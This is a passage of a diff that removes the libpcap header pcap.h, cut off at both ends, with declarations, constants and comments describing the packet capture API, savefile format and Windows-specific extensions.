OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE - * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - * - */ - -#ifndef lib_pcap_pcap_h -#define lib_pcap_pcap_h - -/* - * Some software that uses libpcap/WinPcap/Npcap defines _MSC_VER before - * including pcap.h if it's not defined - and it defines it to 1500. - * (I'm looking at *you*, lwIP!) - * - * Attempt to detect this, and undefine _MSC_VER so that we can *reliably* - * use it to know what compiler is being used and, if it's Visual Studio, - * what version is being used. - */ -#if defined(_MSC_VER) - /* - * We assume here that software such as that doesn't define _MSC_FULL_VER - * as well and that it defines _MSC_VER with a value > 1200. - * - * DO NOT BREAK THESE ASSUMPTIONS. IF YOU FEEL YOU MUST DEFINE _MSC_VER - * WITH A COMPILER THAT'S NOT MICROSOFT'S C COMPILER, PLEASE CONTACT - * US SO THAT WE CAN MAKE IT SO THAT YOU DON'T HAVE TO DO THAT. THANK - * YOU. - * - * OK, is _MSC_FULL_VER defined? - */ - #if !defined(_MSC_FULL_VER) - /* - * According to - * - * https://sourceforge.net/p/predef/wiki/Compilers/ - * - * with "Visual C++ 6.0 Processor Pack"/Visual C++ 6.0 SP6 and - * later, _MSC_FULL_VER is defined, so either this is an older - * version of Visual C++ or it's not Visual C++ at all. - * - * For Visual C++ 6.0, _MSC_VER is defined as 1200. - */ - #if _MSC_VER > 1200 - /* - * If this is Visual C++, _MSC_FULL_VER should be defined, so we - * assume this isn't Visual C++, and undo the lie that it is. - */ - #undef _MSC_VER - #endif - #endif -#endif - -#include - -#include - -#if defined(_WIN32) - #include /* u_int, u_char etc. */ - #include /* _get_osfhandle() */ -#else /* UN*X */ - #include /* u_int, u_char etc. */ - #include -#endif /* _WIN32/UN*X */ - -#include /* for PCAP_SOCKET, as the active-mode rpcap APIs use it */ - -#ifndef PCAP_DONT_INCLUDE_PCAP_BPF_H -#include -#endif - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Version number of the current version of the pcap file format. - * - * NOTE: this is *NOT* the version number of the libpcap library. - * To fetch the version information for the version of libpcap - * you're using, use pcap_lib_version(). - */ -#define PCAP_VERSION_MAJOR 2 -#define PCAP_VERSION_MINOR 4 - -#define PCAP_ERRBUF_SIZE 256 - -/* - * Compatibility for systems that have a bpf.h that - * predates the bpf typedefs for 64-bit support. - */ -#if ! defined(BPF_RELEASE) || BPF_RELEASE < 199406 -typedef int bpf_int32; -typedef u_int bpf_u_int32; -#endif - -typedef struct pcap pcap_t; -typedef struct pcap_dumper pcap_dumper_t; -typedef struct pcap_if pcap_if_t; -typedef struct pcap_addr pcap_addr_t; - -/* - * The first record in the file contains saved values for some - * of the flags used in the printout phases of tcpdump. - * Many fields here are 32 bit ints so compilers won't insert unwanted - * padding; these files need to be interchangeable across architectures. - * Documentation: https://www.tcpdump.org/manpages/pcap-savefile.5.txt. - * - * Do not change the layout of this structure, in any way (this includes - * changes that only affect the length of fields in this structure). - * - * Also, do not change the interpretation of any of the members of this - * structure, in any way (this includes using values other than - * LINKTYPE_ values, as defined in "savefile.c", in the "linktype" - * field). - * - * Instead: - * - * introduce a new structure for the new format, if the layout - * of the structure changed; - * - * send mail to "tcpdump-workers@lists.tcpdump.org", requesting - * a new magic number for your new capture file format, and, when - * you get the new magic number, put it in "savefile.c"; - * - * use that magic number for save files with the changed file - * header; - * - * make the code in "savefile.c" capable of reading files with - * the old file header as well as files with the new file header - * (using the magic number to determine the header format). - * - * Then supply the changes by forking the branch at - * - * https://github.com/the-tcpdump-group/libpcap/tree/master - * - * and issuing a pull request, so that future versions of libpcap and - * programs that use it (such as tcpdump) will be able to read your new - * capture file format. - */ -struct pcap_file_header { - bpf_u_int32 magic; - u_short version_major; - u_short version_minor; - bpf_int32 thiszone; /* not used - SHOULD be filled with 0 */ - bpf_u_int32 sigfigs; /* not used - SHOULD be filled with 0 */ - bpf_u_int32 snaplen; /* max length saved portion of each pkt */ - bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */ -}; - -/* - * Subfields of the field containing the link-layer header type. - * - * Link-layer header types are assigned for both pcap and - * pcapng, and the same value must work with both. In pcapng, - * the link-layer header type field in an Interface Description - * Block is 16 bits, so only the bottommost 16 bits of the - * link-layer header type in a pcap file can be used for the - * header type value. - * - * In libpcap, the upper 16 bits, from the top down, are divided into: - * - * A 4-bit "FCS length" field, to allow the FCS length to - * be specified, just as it can be specified in the if_fcslen - * field of the pcapng IDB. The field is in units of 16 bits, - * i.e. 1 means 16 bits of FCS, 2 means 32 bits of FCS, etc.. - * - * A reserved bit, which must be zero. - * - * An "FCS length present" flag; if 0, the "FCS length" field - * should be ignored, and if 1, the "FCS length" field should - * be used. - * - * 10 reserved bits, which must be zero. They were originally - * intended to be used as a "class" field, allowing additional - * classes of link-layer types to be defined, with a class value - * of 0 indicating that the link-layer type is a LINKTYPE_ value. - * A value of 0x224 was, at one point, used by NetBSD to define - * "raw" packet types, with the lower 16 bits containing a - * NetBSD AF_ value; see - * - * https://marc.info/?l=tcpdump-workers&m=98296750229149&w=2 - * - * It's unknown whether those were ever used in capture files, - * or if the intent was just to use it as a link-layer type - * for BPF programs; NetBSD's libpcap used to support them in - * the BPF code generator, but it no longer does so. If it - * was ever used in capture files, or if classes other than - * "LINKTYPE_ value" are ever useful in capture files, we could - * re-enable this, and use the reserved 16 bits following the - * link-layer type in pcapng files to hold the class information - * there. (Note, BTW, that LINKTYPE_RAW/DLT_RAW is now being - * interpreted by libpcap, tcpdump, and Wireshark as "raw IP", - * including both IPv4 and IPv6, with the version number in the - * header being checked to see which it is, not just "raw IPv4"; - * there are LINKTYPE_IPV4/DLT_IPV4 and LINKTYPE_IPV6/DLT_IPV6 - * values if "these are IPv{4,6} and only IPv{4,6} packets" - * types are needed.) - * - * Or we might be able to use it for other purposes. - */ -#define LT_LINKTYPE(x) ((x) & 0x0000FFFF) -#define LT_LINKTYPE_EXT(x) ((x) & 0xFFFF0000) -#define LT_RESERVED1(x) ((x) & 0x03FF0000) -#define LT_FCS_LENGTH_PRESENT(x) ((x) & 0x04000000) -#define LT_FCS_LENGTH(x) (((x) & 0xF0000000) >> 28) -#define LT_FCS_DATALINK_EXT(x) ((((x) & 0xF) << 28) | 0x04000000) - -typedef enum { - PCAP_D_INOUT = 0, - PCAP_D_IN, - PCAP_D_OUT -} pcap_direction_t; - -/* - * Generic per-packet information, as supplied by libpcap. - * - * The time stamp can and should be a "struct timeval", regardless of - * whether your system supports 32-bit tv_sec in "struct timeval", - * 64-bit tv_sec in "struct timeval", or both if it supports both 32-bit - * and 64-bit applications. The on-disk format of savefiles uses 32-bit - * tv_sec (and tv_usec); this structure is irrelevant to that. 32-bit - * and 64-bit versions of libpcap, even if they're on the same platform, - * should supply the appropriate version of "struct timeval", even if - * that's not what the underlying packet capture mechanism supplies. - * - * caplen is the number of packet bytes available in the packet. - * - * len is the number of bytes that would have been available if - * the capture process had not discarded data at the end of the - * packet, either because a snapshot length less than the packet - * size was provided or because the mechanism used to capture - * the packet imposed a limit on the amount of packet data - * that is provided. - */ -struct pcap_pkthdr { - struct timeval ts; /* time stamp */ - bpf_u_int32 caplen; /* length of portion present in data */ - bpf_u_int32 len; /* length of this packet prior to any slicing */ -}; - -/* - * As returned by the pcap_stats() - */ -struct pcap_stat { - u_int ps_recv; /* number of packets received */ - u_int ps_drop; /* number of packets dropped */ - u_int ps_ifdrop; /* drops by interface -- only supported on some platforms */ -#ifdef _WIN32 - u_int ps_capt; /* number of packets that reach the application */ - u_int ps_sent; /* number of packets sent by the server on the network */ - u_int ps_netdrop; /* number of packets lost on the network */ -#endif /* _WIN32 */ -}; - -/* - * Item in a list of interfaces. - */ -struct pcap_if { - struct pcap_if *next; - char *name; /* name to hand to "pcap_open_live()" */ - char *description; /* textual description of interface, or NULL */ - struct pcap_addr *addresses; - bpf_u_int32 flags; /* PCAP_IF_ interface flags */ -}; - -#define PCAP_IF_LOOPBACK 0x00000001 /* interface is loopback */ -#define PCAP_IF_UP 0x00000002 /* interface is up */ -#define PCAP_IF_RUNNING 0x00000004 /* interface is running */ -#define PCAP_IF_WIRELESS 0x00000008 /* interface is wireless (*NOT* necessarily Wi-Fi!) */ -#define PCAP_IF_CONNECTION_STATUS 0x00000030 /* connection status: */ -#define PCAP_IF_CONNECTION_STATUS_UNKNOWN 0x00000000 /* unknown */ -#define PCAP_IF_CONNECTION_STATUS_CONNECTED 0x00000010 /* connected */ -#define PCAP_IF_CONNECTION_STATUS_DISCONNECTED 0x00000020 /* disconnected */ -#define PCAP_IF_CONNECTION_STATUS_NOT_APPLICABLE 0x00000030 /* not applicable */ - -/* - * Representation of an interface address. - */ -struct pcap_addr { - struct pcap_addr *next; - struct sockaddr *addr; /* address */ - struct sockaddr *netmask; /* netmask for that address */ - struct sockaddr *broadaddr; /* broadcast address for that address */ - struct sockaddr *dstaddr; /* P2P destination address for that address */ -}; - -typedef void (*pcap_handler)(u_char *, const struct pcap_pkthdr *, - const u_char *); - -/* - * Error codes for the pcap API. - * These will all be negative, so you can check for the success or - * failure of a call that returns these codes by checking for a - * negative value. - */ -#define PCAP_ERROR -1 /* generic error code */ -#define PCAP_ERROR_BREAK -2 /* loop terminated by pcap_breakloop */ -#define PCAP_ERROR_NOT_ACTIVATED -3 /* the capture needs to be activated */ -#define PCAP_ERROR_ACTIVATED -4 /* the operation can't be performed on already activated captures */ -#define PCAP_ERROR_NO_SUCH_DEVICE -5 /* no such device exists */ -#define PCAP_ERROR_RFMON_NOTSUP -6 /* this device doesn't support rfmon (monitor) mode */ -#define PCAP_ERROR_NOT_RFMON -7 /* operation supported only in monitor mode */ -#define PCAP_ERROR_PERM_DENIED -8 /* no permission to open the device */ -#define PCAP_ERROR_IFACE_NOT_UP -9 /* interface isn't up */ -#define PCAP_ERROR_CANTSET_TSTAMP_TYPE -10 /* this device doesn't support setting the time stamp type */ -#define PCAP_ERROR_PROMISC_PERM_DENIED -11 /* you don't have permission to capture in promiscuous mode */ -#define PCAP_ERROR_TSTAMP_PRECISION_NOTSUP -12 /* the requested time stamp precision is not supported */ -#define PCAP_ERROR_CAPTURE_NOTSUP -13 /* capture mechanism not available */ - -/* - * Warning codes for the pcap API. - * These will all be positive and non-zero, so they won't look like - * errors. - */ -#define PCAP_WARNING 1 /* generic warning code */ -#define PCAP_WARNING_PROMISC_NOTSUP 2 /* this device doesn't support promiscuous mode */ -#define PCAP_WARNING_TSTAMP_TYPE_NOTSUP 3 /* the requested time stamp type is not supported */ - -/* - * Value to pass to pcap_compile() as the netmask if you don't know what - * the netmask is. - */ -#define PCAP_NETMASK_UNKNOWN 0xffffffff - -/* - * Initialize pcap. If this isn't called, pcap is initialized to - * a mode source-compatible and binary-compatible with older versions - * that lack this routine. - */ - -/* - * Initialization options. - * All bits not listed here are reserved for expansion. - * - * On UNIX-like systems, the local character encoding is assumed to be - * UTF-8, so no character encoding transformations are done. - * - * On Windows, the local character encoding is the local ANSI code page. - */ -#define PCAP_CHAR_ENC_LOCAL 0x00000000U /* strings are in the local character encoding */ -#define PCAP_CHAR_ENC_UTF_8 0x00000001U /* strings are in UTF-8 */ -#define PCAP_MMAP_32BIT 0x00000002U /* map packet buffers with 32-bit addresses */ - -PCAP_AVAILABLE_1_10 -PCAP_API int pcap_init(unsigned int, char *) - PCAP_NONNULL(2) PCAP_WARN_UNUSED_RESULT; - -/* - * We're deprecating pcap_lookupdev() for various reasons (not - * thread-safe, can behave weirdly with WinPcap). Callers - * should use pcap_findalldevs() and use the first device. - */ -PCAP_AVAILABLE_0_4 -PCAP_DEPRECATED("use 'pcap_findalldevs' and use the first device") -PCAP_API char *pcap_lookupdev(char *); - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_lookupnet(const char *, bpf_u_int32 *, bpf_u_int32 *, - char *) PCAP_NONNULL(4) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_0 -PCAP_API pcap_t *pcap_create(const char *, char *) PCAP_NONNULL(2); - -PCAP_AVAILABLE_1_0 -PCAP_API int pcap_set_snaplen(pcap_t *, int) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_0 -PCAP_API int pcap_set_promisc(pcap_t *, int) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_0 -PCAP_API int pcap_can_set_rfmon(pcap_t *); - -PCAP_AVAILABLE_1_0 -PCAP_API int pcap_set_rfmon(pcap_t *, int) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_0 -PCAP_API int pcap_set_timeout(pcap_t *, int) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_2 -PCAP_API int pcap_set_tstamp_type(pcap_t *, int) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_5 -PCAP_API int pcap_set_immediate_mode(pcap_t *, int) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_0 -PCAP_API int pcap_set_buffer_size(pcap_t *, int) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_5 -PCAP_API int pcap_set_tstamp_precision(pcap_t *, int) - PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_5 -PCAP_API int pcap_get_tstamp_precision(pcap_t *) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_0 -PCAP_API int pcap_activate(pcap_t *) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_2 -PCAP_API int pcap_list_tstamp_types(pcap_t *, int **); - -PCAP_AVAILABLE_1_2 -PCAP_API void pcap_free_tstamp_types(int *); - -PCAP_AVAILABLE_1_2 -PCAP_API int pcap_tstamp_type_name_to_val(const char *); - -PCAP_AVAILABLE_1_2 -PCAP_API const char *pcap_tstamp_type_val_to_name(int); - -PCAP_AVAILABLE_1_2 -PCAP_API const char *pcap_tstamp_type_val_to_description(int); - -#ifdef __linux__ -PCAP_AVAILABLE_1_9 -PCAP_API int pcap_set_protocol_linux(pcap_t *, int) PCAP_WARN_UNUSED_RESULT; -#endif - -/* - * Time stamp types. - * Not all systems and interfaces will necessarily support all of these. - * - * A system that supports PCAP_TSTAMP_HOST is offering time stamps - * provided by the host machine, rather than by the capture device, - * but not committing to any characteristics of the time stamp. - * - * PCAP_TSTAMP_HOST_LOWPREC is a time stamp, provided by the host machine, - * that's low-precision but relatively cheap to fetch; it's normally done - * using the system clock, so it's normally synchronized with times you'd - * fetch from system calls. - * - * PCAP_TSTAMP_HOST_HIPREC is a time stamp, provided by the host machine, - * that's high-precision; it might be more expensive to fetch. It is - * synchronized with the system clock. - * - * PCAP_TSTAMP_HOST_HIPREC_UNSYNCED is a time stamp, provided by the host - * machine, that's high-precision; it might be more expensive to fetch. - * It is not synchronized with the system clock, and might have - * problems with time stamps for packets received on different CPUs, - * depending on the platform. It might be more likely to be strictly - * monotonic than PCAP_TSTAMP_HOST_HIPREC. - * - * PCAP_TSTAMP_ADAPTER is a high-precision time stamp supplied by the - * capture device; it's synchronized with the system clock. - * - * PCAP_TSTAMP_ADAPTER_UNSYNCED is a high-precision time stamp supplied by - * the capture device; it's not synchronized with the system clock. - * - * Note that time stamps synchronized with the system clock can go - * backwards, as the system clock can go backwards. If a clock is - * not in sync with the system clock, that could be because the - * system clock isn't keeping accurate time, because the other - * clock isn't keeping accurate time, or both. - * - * Note that host-provided time stamps generally correspond to the - * time when the time-stamping code sees the packet; this could - * be some unknown amount of time after the first or last bit of - * the packet is received by the network adapter, due to batching - * of interrupts for packet arrival, queueing delays, etc.. - */ -#define PCAP_TSTAMP_HOST 0 /* host-provided, unknown characteristics */ -#define PCAP_TSTAMP_HOST_LOWPREC 1 /* host-provided, low precision, synced with the system clock */ -#define PCAP_TSTAMP_HOST_HIPREC 2 /* host-provided, high precision, synced with the system clock */ -#define PCAP_TSTAMP_ADAPTER 3 /* device-provided, synced with the system clock */ -#define PCAP_TSTAMP_ADAPTER_UNSYNCED 4 /* device-provided, not synced with the system clock */ -#define PCAP_TSTAMP_HOST_HIPREC_UNSYNCED 5 /* host-provided, high precision, not synced with the system clock */ - -/* - * Time stamp resolution types. - * Not all systems and interfaces will necessarily support all of these - * resolutions when doing live captures; all of them can be requested - * when reading a savefile. - */ -#define PCAP_TSTAMP_PRECISION_MICRO 0 /* use timestamps with microsecond precision, default */ -#define PCAP_TSTAMP_PRECISION_NANO 1 /* use timestamps with nanosecond precision */ - -PCAP_AVAILABLE_0_4 -PCAP_API pcap_t *pcap_open_live(const char *, int, int, int, char *) - PCAP_NONNULL(5); - -PCAP_AVAILABLE_0_6 -PCAP_API pcap_t *pcap_open_dead(int, int); - -PCAP_AVAILABLE_1_5 -PCAP_API pcap_t *pcap_open_dead_with_tstamp_precision(int, int, u_int); - -PCAP_AVAILABLE_1_5 -PCAP_API pcap_t *pcap_open_offline_with_tstamp_precision(const char *, u_int, - char *) PCAP_NONNULL(3); - -PCAP_AVAILABLE_0_4 -PCAP_API pcap_t *pcap_open_offline(const char *, char *) PCAP_NONNULL(2); - -#ifdef _WIN32 - PCAP_AVAILABLE_1_5 - PCAP_API pcap_t *pcap_hopen_offline_with_tstamp_precision(intptr_t, u_int, - char *) PCAP_NONNULL(3); - - PCAP_API pcap_t *pcap_hopen_offline(intptr_t, char *) PCAP_NONNULL(2); - /* - * If we're building libpcap, these are internal routines in savefile.c, - * so we must not define them as macros. - * - * If we're not building libpcap, given that the version of the C runtime - * with which libpcap was built might be different from the version - * of the C runtime with which an application using libpcap was built, - * and that a FILE structure may differ between the two versions of the - * C runtime, calls to _fileno() must use the version of _fileno() in - * the C runtime used to open the FILE *, not the version in the C - * runtime with which libpcap was built. (Maybe once the Universal CRT - * rules the world, this will cease to be a problem.) - */ - #ifndef BUILDING_PCAP - #define pcap_fopen_offline_with_tstamp_precision(f,p,b) \ - pcap_hopen_offline_with_tstamp_precision(_get_osfhandle(_fileno(f)), p, b) - #define pcap_fopen_offline(f,b) \ - pcap_hopen_offline(_get_osfhandle(_fileno(f)), b) - #endif -#else /*_WIN32*/ - PCAP_AVAILABLE_1_5 - PCAP_API pcap_t *pcap_fopen_offline_with_tstamp_precision(FILE *, - u_int, char *) PCAP_NONNULL(3); - - PCAP_AVAILABLE_0_9 - PCAP_API pcap_t *pcap_fopen_offline(FILE *, char *) PCAP_NONNULL(2); -#endif /*_WIN32*/ - -PCAP_AVAILABLE_0_4 -PCAP_API void pcap_close(pcap_t *); - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_loop(pcap_t *, int, pcap_handler, u_char *) - PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_dispatch(pcap_t *, int, pcap_handler, u_char *) - PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_0_4 -PCAP_API const u_char *pcap_next(pcap_t *, struct pcap_pkthdr *); - -PCAP_AVAILABLE_0_8 -PCAP_API int pcap_next_ex(pcap_t *, struct pcap_pkthdr **, const u_char **); - -PCAP_AVAILABLE_0_8 -PCAP_API void pcap_breakloop(pcap_t *); - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_stats(pcap_t *, struct pcap_stat *) - PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_setfilter(pcap_t *, struct bpf_program *) - PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_0_9 -PCAP_API int pcap_setdirection(pcap_t *, pcap_direction_t) - PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_0_7 -PCAP_API int pcap_getnonblock(pcap_t *, char *); - -PCAP_AVAILABLE_0_7 -PCAP_API int pcap_setnonblock(pcap_t *, int, char *) - PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_0_9 -PCAP_API int pcap_inject(pcap_t *, const void *, size_t) - PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_0_8 -PCAP_API int pcap_sendpacket(pcap_t *, const u_char *, int) - PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_1_0 -PCAP_API const char *pcap_statustostr(int); - -PCAP_AVAILABLE_0_4 -PCAP_API const char *pcap_strerror(int); - -PCAP_AVAILABLE_0_4 -PCAP_API char *pcap_geterr(pcap_t *); - -PCAP_AVAILABLE_0_4 -PCAP_API void pcap_perror(pcap_t *, const char *); - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_compile(pcap_t *, struct bpf_program *, const char *, int, - bpf_u_int32) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_0_5 -PCAP_DEPRECATED("use pcap_open_dead(), pcap_compile() and pcap_close()") -PCAP_API int pcap_compile_nopcap(int, int, struct bpf_program *, - const char *, int, bpf_u_int32) PCAP_WARN_UNUSED_RESULT; - -/* XXX - this took two arguments in 0.4 and 0.5 */ -PCAP_AVAILABLE_0_6 -PCAP_API void pcap_freecode(struct bpf_program *); - -PCAP_AVAILABLE_1_0 -PCAP_API int pcap_offline_filter(const struct bpf_program *, - const struct pcap_pkthdr *, const u_char *); - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_datalink(pcap_t *); - -PCAP_AVAILABLE_1_0 -PCAP_API int pcap_datalink_ext(pcap_t *); - -PCAP_AVAILABLE_0_8 -PCAP_API int pcap_list_datalinks(pcap_t *, int **); - -PCAP_AVAILABLE_0_8 -PCAP_API int pcap_set_datalink(pcap_t *, int) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_0_8 -PCAP_API void pcap_free_datalinks(int *); - -PCAP_AVAILABLE_0_8 -PCAP_API int pcap_datalink_name_to_val(const char *); - -PCAP_AVAILABLE_0_8 -PCAP_API const char *pcap_datalink_val_to_name(int); - -PCAP_AVAILABLE_0_8 -PCAP_API const char *pcap_datalink_val_to_description(int); - -PCAP_AVAILABLE_1_9 -PCAP_API const char *pcap_datalink_val_to_description_or_dlt(int); - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_snapshot(pcap_t *); - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_is_swapped(pcap_t *); - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_major_version(pcap_t *); - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_minor_version(pcap_t *); - -PCAP_AVAILABLE_1_9 -PCAP_API int pcap_bufsize(pcap_t *); - -/* XXX */ -PCAP_AVAILABLE_0_4 -PCAP_API FILE *pcap_file(pcap_t *); - -#ifdef _WIN32 -/* - * This probably shouldn't have been kept in WinPcap; most if not all - * UN*X code that used it won't work on Windows. We deprecate it; if - * anybody really needs access to whatever HANDLE may be associated - * with a pcap_t (there's no guarantee that there is one), we can add - * a Windows-only pcap_handle() API that returns the HANDLE. - */ -PCAP_AVAILABLE_0_4 -PCAP_DEPRECATED("request a 'pcap_handle' that returns a HANDLE if you need it") -PCAP_API int pcap_fileno(pcap_t *); -#else /* _WIN32 */ -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_fileno(pcap_t *); -#endif /* _WIN32 */ - -#ifdef _WIN32 - PCAP_API int pcap_wsockinit(void); -#endif - -PCAP_AVAILABLE_0_4 -PCAP_API pcap_dumper_t *pcap_dump_open(pcap_t *, const char *); - -#ifdef _WIN32 - PCAP_AVAILABLE_0_9 - PCAP_API pcap_dumper_t *pcap_dump_hopen(pcap_t *, intptr_t); - - /* - * If we're building libpcap, this is an internal routine in sf-pcap.c, so - * we must not define it as a macro. - * - * If we're not building libpcap, given that the version of the C runtime - * with which libpcap was built might be different from the version - * of the C runtime with which an application using libpcap was built, - * and that a FILE structure may differ between the two versions of the - * C runtime, calls to _fileno() must use the version of _fileno() in - * the C runtime used to open the FILE *, not the version in the C - * runtime with which libpcap was built. (Maybe once the Universal CRT - * rules the world, this will cease to be a problem.) - */ - #ifndef BUILDING_PCAP - #define pcap_dump_fopen(p,f) \ - pcap_dump_hopen(p, _get_osfhandle(_fileno(f))) - #endif -#else /*_WIN32*/ - PCAP_AVAILABLE_0_9 - PCAP_API pcap_dumper_t *pcap_dump_fopen(pcap_t *, FILE *fp); -#endif /*_WIN32*/ - -PCAP_AVAILABLE_1_7 -PCAP_API pcap_dumper_t *pcap_dump_open_append(pcap_t *, const char *); - -PCAP_AVAILABLE_0_8 -PCAP_API FILE *pcap_dump_file(pcap_dumper_t *); - -PCAP_AVAILABLE_0_9 -PCAP_API long pcap_dump_ftell(pcap_dumper_t *); - -PCAP_AVAILABLE_1_9 -PCAP_API int64_t pcap_dump_ftell64(pcap_dumper_t *); - -PCAP_AVAILABLE_0_8 -PCAP_API int pcap_dump_flush(pcap_dumper_t *); - -PCAP_AVAILABLE_0_4 -PCAP_API void pcap_dump_close(pcap_dumper_t *); - -PCAP_AVAILABLE_0_4 -PCAP_API void pcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *); - -PCAP_AVAILABLE_0_7 -PCAP_API int pcap_findalldevs(pcap_if_t **, char *) - PCAP_NONNULL(2) PCAP_WARN_UNUSED_RESULT; - -PCAP_AVAILABLE_0_7 -PCAP_API void pcap_freealldevs(pcap_if_t *); - -/* - * We return a pointer to the version string, rather than exporting the - * version string directly. - * - * On at least some UNIXes, if you import data from a shared library into - * a program, the data is bound into the program binary, so if the string - * in the version of the library with which the program was linked isn't - * the same as the string in the version of the library with which the - * program is being run, various undesirable things may happen (warnings, - * the string being the one from the version of the library with which the - * program was linked, or even weirder things, such as the string being the - * one from the library but being truncated). - * - * On Windows, the string is constructed at run time. - */ -PCAP_AVAILABLE_0_8 -PCAP_API const char *pcap_lib_version(void); - -#if defined(_WIN32) - - /* - * Win32 definitions - */ - - /*! - \brief A queue of raw packets that will be sent to the network with pcap_sendqueue_transmit(). - */ - struct pcap_send_queue - { - u_int maxlen; /* Maximum size of the queue, in bytes. This - variable contains the size of the buffer field. */ - u_int len; /* Current size of the queue, in bytes. */ - char *buffer; /* Buffer containing the packets to be sent. */ - }; - - typedef struct pcap_send_queue pcap_send_queue; - - /*! - \brief This typedef is a support for the pcap_get_airpcap_handle() function -*/ -#if !defined(AIRPCAP_HANDLE__EAE405F5_0171_9592_B3C2_C19EC426AD34__DEFINED_) - #define AIRPCAP_HANDLE__EAE405F5_0171_9592_B3C2_C19EC426AD34__DEFINED_ - typedef struct _AirpcapHandle* PAirpcapHandle; -#endif - - PCAP_API int pcap_setbuff(pcap_t *p, int dim) PCAP_WARN_UNUSED_RESULT; - PCAP_API int pcap_setmode(pcap_t *p, int mode) PCAP_WARN_UNUSED_RESULT; - PCAP_API int pcap_setmintocopy(pcap_t *p, int size) PCAP_WARN_UNUSED_RESULT; - - PCAP_API HANDLE pcap_getevent(pcap_t *p); - - PCAP_AVAILABLE_1_8 - PCAP_API int pcap_oid_get_request(pcap_t *, bpf_u_int32, void *, size_t *) - PCAP_WARN_UNUSED_RESULT; - - PCAP_AVAILABLE_1_8 - PCAP_API int pcap_oid_set_request(pcap_t *, bpf_u_int32, const void *, - size_t *) PCAP_WARN_UNUSED_RESULT; - - PCAP_API pcap_send_queue* pcap_sendqueue_alloc(u_int memsize); - - PCAP_API void pcap_sendqueue_destroy(pcap_send_queue* queue); - - PCAP_API int pcap_sendqueue_queue(pcap_send_queue* queue, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data); - - PCAP_API u_int pcap_sendqueue_transmit(pcap_t *p, pcap_send_queue* queue, int sync); - - PCAP_API struct pcap_stat *pcap_stats_ex(pcap_t *p, int *pcap_stat_size); - - PCAP_API int pcap_setuserbuffer(pcap_t *p, int size) PCAP_WARN_UNUSED_RESULT; - - PCAP_API int pcap_live_dump(pcap_t *p, char *filename, int maxsize, - int maxpacks) PCAP_WARN_UNUSED_RESULT; - - PCAP_API int pcap_live_dump_ended(pcap_t *p, int sync) - PCAP_WARN_UNUSED_RESULT; - - PCAP_API int pcap_start_oem(char* err_str, int flags); - - PCAP_DEPRECATED("AirPcap support has been removed") - PCAP_API PAirpcapHandle pcap_get_airpcap_handle(pcap_t* p); - - #define MODE_CAPT 0 - #define MODE_STAT 1 - #define MODE_MON 2 - -#else /* UN*X */ - - /* - * UN*X definitions - */ - - PCAP_AVAILABLE_0_8 - PCAP_API int pcap_get_selectable_fd(pcap_t *); - - PCAP_AVAILABLE_1_9 - PCAP_API const struct timeval *pcap_get_required_select_timeout(pcap_t *); - -#endif /* _WIN32/UN*X */ - -/* - * APIs added in WinPcap for remote capture. - * - * They are present even if remote capture isn't enabled, as they - * also support local capture, and as their absence may complicate - * code build on macOS 14 with Xcode 15, as that platform supports - * "weakly linked symbols": - * - * https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPFrameworks/Concepts/WeakLinking.html - * - * which are symbols in dynamically-linked shared libraries, declared in - * such a fashion that if a program linked against a newer software - * development kit (SDK), and using a symbol present in the OS version - * for which that SDK is provided, is run on an older OS version that - * lacks that symbol, that symbol's value is a NULL pointer. This - * allows those programs to test for the presence of that symbol - * by checking whether it's non-null and, if it is, using the symbol, - * otherwise not using it. - * - * (This is a slightly more convenient alternative to the usual - * technique used on Windows - and also available, and sometimes - * used, on UN*Xes - of loading the library containing the symbol - * at run time with dlopen() on UN*Xes and LoadLibrary() on Windows, - * looking up the symbol with dlsym() on UN*Xes and GetProcAddress() - * on Windows, and using the symbol with the returned pointer if it's - * not null.) - */ - -/* - * The maximum buffer size in which address, port, interface names are kept. - * - * In case the adapter name or such is larger than this value, it is truncated. - * This is not used by the user; however it must be aware that an hostname / interface - * name longer than this value will be truncated. - */ -#define PCAP_BUF_SIZE 1024 - -/* - * The type of input source, passed to pcap_open(). - */ -#define 